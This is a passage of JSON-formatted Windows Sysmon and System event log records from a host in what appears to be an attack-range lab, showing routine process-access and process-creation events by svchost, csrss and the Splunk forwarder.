C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76834,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The UALSVC service entered the running state.","param1":"UALSVC","param2":"running","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nProcessGuid: {90617006-4063-5F2D-0000-0010EEDA0400}\r\nProcessId: 3548\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","ProcessGuid":"{90617006-4063-5F2D-0000-0010EEDA0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4063-5F2D-0000-0010EEDA0400}\r\nTargetProcessId: 3548\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4063-5F2D-0000-0010EEDA0400}","TargetProcessId":"3548","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4063-5F2D-0000-0010EEDA0400}\r\nTargetProcessId: 3548\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4063-5F2D-0000-0010EEDA0400}","TargetProcessId":"3548","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:03.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:03.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 